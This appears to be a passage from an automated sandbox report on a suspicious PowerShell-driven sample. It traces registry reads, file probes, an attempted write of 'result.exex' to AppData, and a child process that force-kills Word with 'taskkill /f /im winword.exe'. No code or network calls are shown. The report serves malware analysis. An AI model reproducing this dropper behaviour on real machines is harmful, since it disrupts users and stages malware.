File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 409, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 4
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 2228 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 844, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 4
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 3736 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 360, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 7
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Environment Get Environment String name = HOMEPATH, result_out = \Users\aETAdzjz True 1
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 1
Fn
File Get Info filename = C:\, type = file_attributes True 4
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = MshEnableTrace False 5
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Get Info filename = C:\, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 3
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Environment Get Environment String name = HomePath, result_out = \Users\aETAdzjz True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 11
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Documents\WindowsPowerShell\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Thread 0x9cc
(Host: 1, Network: 0)
+
Category Operation Information Success Count Logfile
Module Unmap process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe True 1
Fn
Thread 0x92c
(Host: 4, Network: 0)
+
Category Operation Information Success Count Logfile
Environment Get Environment String name = MshEnableTrace False 21
Fn
Environment Get Environment String name = APPDATA, result_out = C:\Users\aETAdzjz\AppData\Roaming True 2
Fn
File Create filename = C:\Users\aETAdzjz\AppData\Roaming\result.exex, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Process #11: taskkill.exe
+
Information Value
ID #11
File Name c:\windows\system32\taskkill.exe
Command Line "C:\Windows\system32\taskkill.exe" /f /im winword.exe
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:01:23, Reason: Child Process
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:01:13
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x5f4
Parent PID 0x2ac (c:\windows\system32\windowspowershell\v1.0\powershell.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x AD0
0x B10
0x 5F8
0x B38
0x B34
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00056fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000060000 0x00060000 0x0015ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00161fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00170000 0x00173fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000180000 0x00180000 0x00180fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x0020ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00210000 0x00276fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x00280fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000290000 0x00290000 0x00290fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000002a0000 0x002a0000 0x002a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x002bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002c0000 0x002c0000 0x003bffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000003c0000 0x003c0000 0x00547fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000550000 0x00550000 0x006d0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000006e0000 0x006e0000 0x01adffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001b00000 0x01b00000 0x01b7ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x01b80000 0x01c3ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000001c80000 0x01c80000 0x01cfffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d20000 0x01d20000 0x01d9ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e30000 0x01e30000 0x01eaffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x01eb0000 0x0217efff Memory Mapped File Readable False False False
  • Region Actions
user32.dll 0x775e0000 0x776d9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
